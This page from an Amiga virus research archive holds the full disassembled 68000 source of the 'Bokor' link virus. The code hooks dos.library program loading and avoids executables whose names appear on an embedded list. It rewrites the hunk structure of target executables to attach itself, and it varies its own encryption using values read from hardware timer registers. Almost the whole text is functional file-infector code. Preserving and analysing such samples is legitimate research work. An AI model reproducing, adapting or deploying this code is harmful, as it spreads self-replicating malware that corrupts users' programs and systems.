home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
amiga_virus_collection_research.7z
/
VIRUSRESEARCH
/
BOKOR_LINKVIRUS
/
BOKOR1_06MEM.ASM
< prev
next >
Wrap
Assembly Source File
|
1999-06-12
|
15KB
|
542 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $FA726A
SECTION S_0,CODE
SECSTRT_0:
LEA LAB_0014(PC),A0 ;000: 41FA01FE
EOR.L D2,(A0) ;004: B590
LEA LAB_0033(PC),A4 ;006: 49FA0538
MOVEQ #0,D0 ;00A: 7000
LEA LAB_0032(PC),A1 ;00C: 43FA0526
MOVEA.L (ABSEXECBASE).W,A6 ;010: 2C780004
JSR -552(A6) ;014: 4EAEFDD8
MOVE.L D0,(A4) ;018: 2880
BEQ LAB_0013 ;01A: 670001DA
JSR -636(A6) ;01E: 4EAEFD84
LEA LAB_001A(PC),A0 ;022: 41FA0236
LEA LAB_0034(PC),A1 ;026: 43FA0534
MOVE.L A1,(A0) ;02A: 2089
MOVE.L #$00001770,D0 ;02C: 203C00001770
MOVEQ #0,D1 ;032: 7200
JSR -198(A6) ;034: 4EAEFF3A
MOVE.L D0,4(A4) ;038: 29400004
BEQ LAB_002E ;03C: 670004BC
MOVEA.L (A4),A0 ;040: 2054
LEA -150(A0),A0 ;042: 41E8FF6A
LEA LAB_002F(PC),A1 ;046: 43FA04B8
MOVE.L 2(A0),2(A1) ;04A: 236800020002
MOVEA.L 2(A0),A1 ;050: 22680002
CMPI #$48E7,16(A1) ;054: 0C6948E70010
BEQ LAB_0013 ;05A: 6700019A
MOVE.L D0,2(A0) ;05E: 21400002
ADDI.L #$00000288,2(A0) ;062: 06A8000002880002
MOVEA.L D0,A1 ;06A: 2240
MOVE.L #$000003E9,(A1)+ ;06C: 22FC000003E9
MOVE.L #$0000016F,(A1) ;072: 22BC0000016F
MOVEA.L #$00DFF007,A3 ;078: 267C00DFF007
MOVE.B (A3),D5 ;07E: 1A13
MOVEQ #0,D4 ;080: 7800
MOVE.B -1(A3),D4 ;082: 182BFFFF
ANDI #$00FE,D4 ;086: 024400FE
ANDI.L #$00000007,D5 ;08A: 028500000007
ADD.L D5,(A1)+ ;090: DB99
MOVE D5,26(A4) ;092: 3945001A
MOVEQ #0,D7 ;096: 7E00
LEA LAB_0015(PC),A2 ;098: 45FA016A
LEA LAB_0035(PC),A0 ;09C: 41FA04CE
ADDQ.L #1,16(A0) ;0A0: 52A80010
MOVE.L (A2)+,(A1)+ ;0A4: 22DA
BSR LAB_0017 ;0A6: 6100017E
MOVE D7,D6 ;0AA: 3C07
ADD D6,D6 ;0AC: DC46
SUB D4,D6 ;0AE: 9C44
MOVEQ #127,D1 ;0B0: 727F
CMP.B (A3),D1 ;0B2: B213
BMI.S LAB_0001 ;0B4: 6B0E
MOVE.L (A2)+,(A1)+ ;0B6: 22DA
SUB D6,-2(A1) ;0B8: 9D69FFFE
MOVE.L (A2)+,(A1)+ ;0BC: 22DA
ADD D5,-2(A1) ;0BE: DB69FFFE
BRA.S LAB_0002 ;0C2: 6010
LAB_0001:
MOVE.L 4(A2),(A1)+ ;0C4: 22EA0004
MOVE.L (A2),(A1)+ ;0C8: 22D2
SUBQ #4,-2(A1) ;0CA: 5969FFFE
SUB D6,-2(A1) ;0CE: 9D69FFFE
ADDQ #8,A2 ;0D2: 504A
LAB_0002:
BSR LAB_0017 ;0D4: 61000150
MOVE D7,D6 ;0D8: 3C07
ADD D6,D6 ;0DA: DC46
SUB D6,2(A2) ;0DC: 9D6A0002
MOVEQ #127,D1 ;0E0: 727F
CMP.B (A3),D1 ;0E2: B213
BMI.S LAB_0003 ;0E4: 6B0A
MOVE.L (A2)+,(A1)+ ;0E6: 22DA
MOVE.L (A2)+,(A1)+ ;0E8: 22DA
SUB D4,-2(A1) ;0EA: 9969FFFE
BRA.S LAB_0004 ;0EE: 6010
LAB_0003:
MOVE.L 4(A2),(A1)+ ;0F0: 22EA0004
SUB D4,-2(A1) ;0F4: 9969FFFE
MOVE.L (A2),(A1)+ ;0F8: 22D2
SUBQ #4,-2(A1) ;0FA: 5969FFFE
ADDQ #8,A2 ;0FE: 504A
LAB_0004:
ADD D6,-6(A2) ;100: DD6AFFFA
MOVE (A2)+,D6 ;104: 3C1A
CMP.B (A3),D1 ;106: B213
BMI.S LAB_0005 ;108: 6B06
MOVE #$B598,D6 ;10A: 3C3CB598
MOVEQ #67,D4 ;10E: 7843
LAB_0005:
MOVE D6,(A1)+ ;110: 32C6
MOVE D7,D6 ;112: 3C07
BSR LAB_0017 ;114: 61000110
SUB D7,D6 ;118: 9C47
ADD D6,D6 ;11A: DC46
MOVE.L (A2)+,(A1)+ ;11C: 22DA
ADD D6,-2(A1) ;11E: DD69FFFE
MOVE.L (A2)+,(A1)+ ;122: 22DA
BSR LAB_0017 ;124: 61000100
MOVE.L (A2)+,(A1)+ ;128: 22DA
MOVEQ #6,D6 ;12A: 7C06
SUB D7,D6 ;12C: 9C47
BMI.S LAB_0007 ;12E: 6B0E
LAB_0006:
MOVE.B (A3),D1 ;130: 1213
ANDI #$0007,D1 ;132: 02410007
DC.W $32F0 ;136
MOVE.B D0,D1 ;138: 1200
DBF D6,LAB_0006 ;13A: 51CEFFF4
LAB_0007:
MOVE #$0168,D1 ;13E: 323C0168
LEA SECSTRT_0(PC),A0 ;142: 41FAFEBC
LAB_0008:
MOVE.L (A0)+,(A1)+ ;146: 22D8
DBF D1,LAB_0008 ;148: 51C9FFFC
NOP ;14C: 4E71
MOVEA.L D0,A0 ;14E: 2040
MOVE #$4E71,388(A0) ;150: 317C4E710184
MOVE #$9590,60(A0) ;156: 317C9590003C
CMP #$0043,D4 ;15C: B87C0043
BNE.S LAB_0009 ;160: 6606
MOVE #$B590,60(A0) ;162: 317CB590003C
LAB_0009:
MOVEQ #0,D1 ;168: 7200
MOVE.B (A3),D1 ;16A: 1213
SUBI #$0014,D1 ;16C: 04410014
BPL.S LAB_000B ;170: 6A2C
MOVE #$4E71,60(A0) ;172: 317C4E71003C
MOVE.L (A0)+,(A1)+ ;178: 22D8
MOVE.L (A0)+,(A1)+ ;17A: 22D8
MOVE.L #$48E7FFFE,(A1)+ ;17C: 22FC48E7FFFE
ADDQ.L #4,A0 ;182: 5888
MOVEQ #21,D6 ;184: 7C15
LEA LAB_0035(PC),A2 ;186: 45FA03E4
LAB_000A:
MOVE.B (A3),D1 ;18A: 1213
ANDI #$0007,D1 ;18C: 02410007
DC.W $32F2 ;190
MOVE.B D0,D1 ;192: 1200
ADDQ.L #2,A0 ;194: 5488
DBF D6,LAB_000A ;196: 51CEFFF2
MOVEQ #65,D4 ;19A: 7841
BRA.S LAB_000D ;19C: 6008
LAB_000B:
MOVEQ #13,D1 ;19E: 720D
LAB_000C:
MOVE.L (A0)+,(A1)+ ;1A0: 22D8
DBF D1,LAB_000C ;1A2: 51C9FFFC
LAB_000D:
MOVE #$0162,D1 ;1A6: 323C0162
MOVE.L 20(A4),D6 ;1AA: 2C2C0014
ADD.L A1,D6 ;1AE: DC89
SWAP D6 ;1B0: 4846
LAB_000E:
MOVE.L (A0)+,D0 ;1B2: 2018
CMP #$0041,D4 ;1B4: B87C0041
BEQ.S LAB_0010 ;1B8: 670C
CMP #$0043,D4 ;1BA: B87C0043
BNE.S LAB_000F ;1BE: 6604
EOR.L D6,D0 ;1C0: BD80
BRA.S LAB_0010 ;1C2: 6002
LAB_000F:
SUB.L D6,D0 ;1C4: 9086
LAB_0010:
MOVE.L D0,(A1)+ ;1C6: 22C0
DBF D1,LAB_000E ;1C8: 51C9FFE8
MOVE.L D6,-56(A1) ;1CC: 2346FFC8
SUBQ.L #1,D5 ;1D0: 5385
BMI.S LAB_0012 ;1D2: 6B0A
LEA LAB_0007(PC),A0 ;1D4: 41FAFF68
LAB_0011:
MOVE.L (A0)+,(A1)+ ;1D8: 22D8
DBF D5,LAB_0011 ;1DA: 51CDFFFC
LAB_0012:
MOVEA #$03EC,A5 ;1DE: 3A7C03EC
MOVE.L A5,(A1)+ ;1E2: 22CD
MOVEQ #1,D0 ;1E4: 7001
MOVE.L D0,(A1)+ ;1E6: 22C0
MOVE.L D0,(A1)+ ;1E8: 22C0
MOVE.L #$00000230,(A1)+ ;1EA: 22FC00000230
CLR.L (A1)+ ;1F0: 4299
ADDQ #6,A5 ;1F2: 5C4D
MOVE.L A5,(A1)+ ;1F4: 22CD
LAB_0013:
CLR.L 20(A4) ;1F6: 42AC0014
MOVEM.L (A7)+,D0-D7/A0-A6 ;1FA: 4CDF7FFF
DC.W $4EF9 ;1FE
LAB_0014:
MOVE (A0)+,(A4) ;200: 3898
MOVEQ #37,D5 ;202: 7A25
LAB_0015:
MOVEM.L D0-D7/A0-A6,-(A7) ;204: 48E7FFFE
DC.W $43FA ;208
BCHG D2,(A6)+ ;20A: 055E
MOVE #$0162,D1 ;20C: 323C0162
LEA LAB_0018(PC),A0 ;210: 41FA0022
MOVE.L 32(A1),D2 ;214: 24290020
LAB_0016:
ADD.L D2,(A0)+ ;218: D598
DBF D1,LAB_0016 ;21A: 51C9FFFC
MOVEA.L (ABSEXECBASE).W,A6 ;21E: 2C780004
JSR -636(A6) ;222: 4EAEFD84
LAB_0017:
MOVEQ #0,D3 ;226: 7600
MOVEQ #0,D2 ;228: 7400
MOVE.B (A3),D2 ;22A: 1413
ADD.B (A3),D2 ;22C: D413
LSR.L #6,D2 ;22E: EC8A
SUBQ #1,D2 ;230: 5342
BMI.S LAB_0019 ;232: 6B1A
LAB_0018:
CMP #$0007,D7 ;234: BE7C0007
BEQ.S LAB_0019 ;238: 6714
MOVE.B (A3),D3 ;23A: 1613
ADD.B -1(A3),D3 ;23C: D62BFFFF
ANDI #$0007,D3 ;240: 02430007
DC.W $32F0 ;244
MOVE D0,D1 ;246: 3200
ADDQ #1,D7 ;248: 5247
DBF D2,LAB_0018 ;24A: 51CAFFE8
LAB_0019:
RTS ;24E: 4E75
BRA.S LAB_001B+2 ;250: 600C
SUBQ #1,(A1)+ ;252: 5359
SUBQ #1,(A0) ;254: 5350
DC.W $4154 ;256
DC.W $4348 ;258
LAB_001A:
BTST D0,D5 ;25A: 0105
LAB_001B:
MOVE.B 17127(A4),(A3) ;25C: 16AC42E7
MOVEM.L D0-D7/A0-A6,-(A7) ;260: 48E7FFFE
MOVEA.L D1,A0 ;264: 2041
CLR.L D0 ;266: 4280
MOVEA.L #$00DFF006,A2 ;268: 247C00DFF006
MOVE.B 1(A2),D0 ;26E: 102A0001
ADD.B (A2),D0 ;272: D012
SUBI #$00FC,D0 ;274: 044000FC
BMI.S LAB_001C ;278: 6B06
MOVE #$00FF,36(A2) ;27A: 357C00FF0024
LAB_001C:
SUBQ #3,D0 ;280: 5740
BMI.S LAB_001D ;282: 6B02
ADDQ.B #1,(A0) ;284: 5210
LAB_001D:
LEA LAB_001A(PC),A2 ;286: 45FAFFD2
LEA LAB_0034(PC),A1 ;28A: 43FA02D0
MOVE.L A1,(A2) ;28E: 2489
LEA LAB_0032(PC),A4 ;290: 49FA02A2
MOVE.L D1,16(A4) ;294: 29410010
LAB_001E:
MOVEQ #3,D1 ;298: 7203
LAB_001F:
ROL.L #8,D0 ;29A: E198
MOVE.B (A0)+,D0 ;29C: 1018
DBF D1,LAB_001F ;29E: 51C9FFFA
SUBQ #4,A0 ;2A2: 5948
CMP.L #$2E455845,D0 ;2A4: B0BC2E455845
BEQ.S LAB_0023 ;2AA: 673E
CMP.L #$2E657865,D0 ;2AC: B0BC2E657865
BEQ.S LAB_0023 ;2B2: 6736
MOVEQ #9,D7 ;2B4: 7E09
LEA LAB_0031(PC),A1 ;2B6: 43FA0258
LAB_0020:
CMP.L (A1)+,D0 ;2BA: B099
BEQ LAB_002E ;2BC: 6700023C
DBF D7,LAB_0020 ;2C0: 51CFFFF8
TST.B (A0)+ ;2C4: 4A18
BNE.S LAB_001E ;2C6: 66D0
SUBQ #2,A0 ;2C8: 5548
CMPI.B #$40,(A0) ;2CA: 0C100040
BMI LAB_002E ;2CE: 6B00022A
MOVEA.L 16(A4),A0 ;2D2: 206C0010
LAB_0021:
CMPI.B #$2E,(A0) ;2D6: 0C10002E
BEQ LAB_002E ;2DA: 6700021E
CMPI.B #$20,(A0) ;2DE: 0C100020
BNE.S LAB_0022 ;2E2: 6602
CLR.B (A0) ;2E4: 4210
LAB_0022:
TST.B (A0)+ ;2E6: 4A18
BNE.S LAB_0021 ;2E8: 66EC
LAB_0023:
CLR.L D0 ;2EA: 4280
MOVEA.L A4,A1 ;2EC: 224C
MOVEA.L (ABSEXECBASE).W,A6 ;2EE: 2C780004
JSR -552(A6) ;2F2: 4EAEFDD8
MOVE.L D0,12(A4) ;2F6: 2940000C
BEQ LAB_002E ;2FA: 670001FE
MOVEA.L D0,A6 ;2FE: 2C40
MOVE.L 16(A4),D1 ;300: 222C0010
MOVEQ #-2,D2 ;304: 74FE
JSR -84(A6) ;306: 4EAEFFAC
MOVE.L D0,D1 ;30A: 2200
BEQ LAB_002E ;30C: 670001EC
MOVE.L D0,D7 ;310: 2E00
LEA LAB_0036(PC),A5 ;312: 4BFA0268
MOVE.L A5,D2 ;316: 240D
JSR -114(A6) ;318: 4EAEFF8E
MOVE 10(A5),D5 ;31C: 3A2D000A
MOVE.L D7,D1 ;320: 2207
ADDI.L #$00001194,D2 ;322: 068200001194
MOVE.L D2,D6 ;328: 2C02
JSR -102(A6) ;32A: 4EAEFF9A
MOVE.L D0,D4 ;32E: 2800
MOVEA.L D6,A2 ;330: 2446
MOVE.L 124(A2),D1 ;332: 222A007C
CMP.L #$0003E800,D1 ;336: B2BC0003E800
BPL LAB_002E ;33C: 6A0001BC
CMP.L #$00000578,D1 ;340: B2BC00000578
BMI LAB_002E ;346: 6B0001B2
MOVE.L D1,24(A4) ;34A: 29410018
MOVE.L D7,D1 ;34E: 2207
JSR -90(A6) ;350: 4EAEFFA6
TST.L D4 ;354: 4A84
BEQ LAB_002E ;356: 670001A2
CMP #$0050,D5 ;35A: BA7C0050
BEQ LAB_002E ;35E: 6700019A
MOVE.L 16(A4),D1 ;362: 222C0010
MOVE.L #$000003ED,D2 ;366: 243C000003ED
JSR -30(A6) ;36C: 4EAEFFE2
MOVE.L D1,20(A4) ;370: 29410014
BEQ LAB_002E ;374: 67000184
LEA LAB_0036(PC),A5 ;378: 4BFA0202
MOVE.L A5,D2 ;37C: 240D
MOVEQ #38,D3 ;37E: 7626
JSR -42(A6) ;380: 4EAEFFD6
CMPI.L #$000003F3,(A5) ;384: 0C95000003F3
BNE LAB_0030 ;38A: 6600017A
MOVE.L 20(A5),D2 ;38E: 242D0014
SUBI.L #$0000016F,D2 ;392: 04820000016F
BMI.S LAB_0024 ;398: 6B06
SUBQ #8,D2 ;39A: 5142
BMI LAB_0030 ;39C: 6B000168
LAB_0024:
MOVEA.L D6,A2 ;3A0: 2446
MOVEA.L 116(A2),A3 ;3A2: 266A0074
DC.W $4A4B ;3A6
BEQ.S LAB_0025 ;3A8: 670A
MOVEQ #0,D2 ;3AA: 7400
MOVE.L 16(A4),D1 ;3AC: 222C0010
JSR -186(A6) ;3B0: 4EAEFF46
LAB_0025:
MOVE.L 20(A4),D1 ;3B4: 222C0014
MOVEQ #0,D2 ;3B8: 7400
MOVEQ #-1,D3 ;3BA: 76FF
JSR -66(A6) ;3BC: 4EAEFFBE
MOVE.L 24(A4),D0 ;3C0: 202C0018
ADDQ.L #8,D0 ;3C4: 5080
MOVEQ #0,D1 ;3C6: 7200
MOVEA.L (ABSEXECBASE).W,A6 ;3C8: 2C780004
JSR -198(A6) ;3CC: 4EAEFF3A
MOVE.L D0,28(A4) ;3D0: 2940001C
BEQ LAB_0030 ;3D4: 67000130
MOVE.L D0,D2 ;3D8: 2400
ADDQ.L #4,D2 ;3DA: 5882
MOVE.L 24(A4),D3 ;3DC: 262C0018
MOVE.L 20(A4),D1 ;3E0: 222C0014
MOVEA.L 12(A4),A6 ;3E4: 2C6C000C
JSR -42(A6) ;3E8: 4EAEFFD6
MOVEA.L 28(A4),A0 ;3EC: 206C001C
MOVEA.L A0,A2 ;3F0: 2448
ADDQ #4,A0 ;3F2: 5848
ADDQ #1,10(A0) ;3F4: 5268000A
ADDQ #1,18(A0) ;3F8: 52680012
MOVE.L 8(A0),D7 ;3FC: 2E280008
MOVEQ #4,D2 ;400: 7404
LAB_0026:
MOVE.L (A0)+,(A2)+ ;402: 24D8
DBF D2,LAB_0026 ;404: 51CAFFFC
MOVE.L #$0000016F,(A2) ;408: 24BC0000016F
MOVEQ #0,D1 ;40E: 7200
MOVE 38(A4),D1 ;410: 322C0026
ADD.L D1,(A2)+ ;414: D39A
MOVE.L 20(A4),D1 ;416: 222C0014
MOVEQ #0,D2 ;41A: 7400
MOVEQ #-1,D3 ;41C: 76FF
JSR -66(A6) ;41E: 4EAEFFBE
MOVE.L D7,D3 ;422: 2607
ADDQ.L #5,D3 ;424: 5A83
LSL #2,D3 ;426: E54B
MOVE.L D3,D5 ;428: 2A03
MOVE.L 20(A4),D1 ;42A: 222C0014
MOVE.L 28(A4),D2 ;42E: 242C001C
JSR -48(A6) ;432: 4EAEFFD0
MOVEA.L 28(A4),A2 ;436: 246C001C
ADDA.L D5,A2 ;43A: D5C5
SUBQ #2,D7 ;43C: 5547
LAB_0027:
MOVE.L (A2)+,D0 ;43E: 201A
MOVE.L (A2)+,D1 ;440: 221A
CMP #$03EB,D0 ;442: B07C03EB
BEQ.S LAB_0029 ;446: 6724
LSL.L #2,D1 ;448: E589
ADDA.L D1,A2 ;44A: D5C1
MOVE.L (A2)+,D0 ;44C: 201A
CMP #$03F2,D0 ;44E: B07C03F2
BEQ.S LAB_002C ;452: 672E
CMP #$03F0,D0 ;454: B07C03F0
BEQ.S LAB_002A ;458: 671A
CMP #$03EC,D0 ;45A: B07C03EC
BNE.S LAB_002B ;45E: 661E
LAB_0028:
MOVE.L (A2)+,D0 ;460: 201A
BEQ.S LAB_0029 ;462: 6708
ADDQ.L #1,(A2)+ ;464: 529A
LSL.L #2,D0 ;466: E588
ADDA.L D0,A2 ;468: D5C0
BRA.S LAB_0028 ;46A: 60F4
LAB_0029:
CMPI #$03F2,2(A2) ;46C: 0C6A03F20002
BEQ.S LAB_002B ;472: 670A
LAB_002A:
CMPI.L #$000003F2,(A2)+ ;474: 0C9A000003F2
BNE.S LAB_002A ;47A: 66F8
BRA.S LAB_002C ;47C: 6004
LAB_002B:
ADDA #$0004,A2 ;47E: D4FC0004
LAB_002C:
DBF D7,LAB_0027 ;482: 51CFFFBA
MOVE.L 20(A4),D1 ;486: 222C0014
DC.W $45FA ;48A
BTST D0,(A0)+ ;48C: 0118
CLR.L 568(A2) ;48E: 42AA0238
MOVE.L A2,D2 ;492: 240A
MOVE #$05DC,D3 ;494: 363C05DC
MOVE 38(A4),D4 ;498: 382C0026
LSL #2,D4 ;49C: E54C
ADD D4,D3 ;49E: D644
JSR -48(A6) ;4A0: 4EAEFFD0
MOVE.L 24(A4),D3 ;4A4: 262C0018
ADDQ.L #4,D3 ;4A8: 5883
SUB.L D5,D3 ;4AA: 9685
MOVE.L 20(A4),D1 ;4AC: 222C0014
MOVE.L 28(A4),D2 ;4B0: 242C001C
ADD.L D5,D2 ;4B4: D485
JSR -48(A6) ;4B6: 4EAEFFD0
MOVE.L 20(A4),D1 ;4BA: 222C0014
JSR -36(A6) ;4BE: 4EAEFFDC
MOVE.L A3,D2 ;4C2: 240B
BEQ.S LAB_002D ;4C4: 6708
MOVE.L 16(A4),D1 ;4C6: 222C0010
JSR -186(A6) ;4CA: 4EAEFF46
LAB_002D:
MOVE.L 16(A4),D1 ;4CE: 222C0010
MOVE.L D6,D2 ;4D2: 2406
ADDI #$0084,D2 ;4D4: 06420084
JSR -396(A6) ;4D8: 4EAEFE74
MOVE.L 24(A4),D0 ;4DC: 202C0018
ADDQ.L #8,D0 ;4E0: 5080
MOVEA.L 28(A4),A1 ;4E2: 226C001C
MOVEA.L (ABSEXECBASE).W,A6 ;4E6: 2C780004
JSR -210(A6) ;4EA: 4EAEFF2E
MOVEA.L 12(A4),A1 ;4EE: 226C000C
JSR -414(A6) ;4F2: 4EAEFE62
JSR -636(A6) ;4F6: 4EAEFD84
LAB_002E:
MOVEM.L (A7)+,D0-D7/A0-A6 ;4FA: 4CDF7FFF
MOVE (A7)+,CCR ;4FE: 44DF
LAB_002F:
JMP EXT_0001 ;500: 4EF900FA726A
LAB_0030:
MOVE.L 20(A4),D1 ;506: 222C0014
JSR -36(A6) ;50A: 4EAEFFDC
BRA.S LAB_002E ;50E: 60EA
LAB_0031:
BCC.S LAB_0036+2 ;510: 646C
BCS.S LAB_0038 ;512: 6572
DC.W $444C ;514
DC.W $4552 ;516
DC.W $6972 ;518
DC.W $7573 ;51A
DC.W $4952 ;51C
SUBQ #2,(A3) ;51E: 5553
DC.W $6465 ;520
MOVEQ #115,D3 ;522: 7673
NEG D5 ;524: 4445
ADDQ #3,(A3) ;526: 5653
NEG -(A5) ;528: 4465
MOVEQ #115,D3 ;52A: 7673
MOVEQ #116,D1 ;52C: 7274
DC.W $7570 ;52E
ADDQ #1,(A4) ;530: 5254
SUBQ #2,(A0) ;532: 5550
LAB_0032:
DC.W $646F ;534
DC.W $732E ;536
DC.W $6C69 ;538
DC.W $6272 ;53A
DC.W $6172 ;53C
DC.W $7900 ;53E
LAB_0033:
BTST D0,D0 ;540: 0100
LSR.L #4,D4 ;542: E88C
BTST D0,D5 ;544: 0105
MOVE A0,(A1) ;546: 3288
SUB.L D7,(A0)+ ;548: 9F98
MOVE.L D3,(A0)+ ;54A: 20C3
DC.W $AA94 ;54C
DC.W $900A ;54E
OR D0,D4 ;550: 8840
ADD.B 0(A3,D0.W),D6 ;552: DC330000
DC.W $0000 ;556
MOVE 2(A4,D0.W),D2 ;558: 34340002
LAB_0034:
DC.W $4C6F ;55C
DC.W $6361 ;55E
DC.W $6C65 ;560
MOVEA.L A4,A0 ;562: 204C
DC.W $6962 ;564
MOVEQ #97,D1 ;566: 7261
MOVEQ #121,D1 ;568: 7279
DC.W $004C ;56A
LAB_0035:
MOVEQ #0,D0 ;56C: 7000
MOVEA.L A0,A3 ;56E: 2648
TST.L D0 ;570: 4A80
MOVE.L D0,D4 ;572: 2800
MOVEA.L A1,A2 ;574: 2449
MOVE.L D1,D3 ;576: 2601
TST.L D1 ;578: 4A81
MOVEA.L A0,A2 ;57A: 2448
LAB_0036:
ORI.B #$B9,D0 ;57C: 000000B9
DC.W $424F ;580
DC.W $4B4F ;582
ADDQ.B #1,-(A0) ;584: 5220
LAB_0038:
DC.W $5631 ;586
DC.W $2E30 ;588
MOVE -(A1),D3 ;58A: 3621
END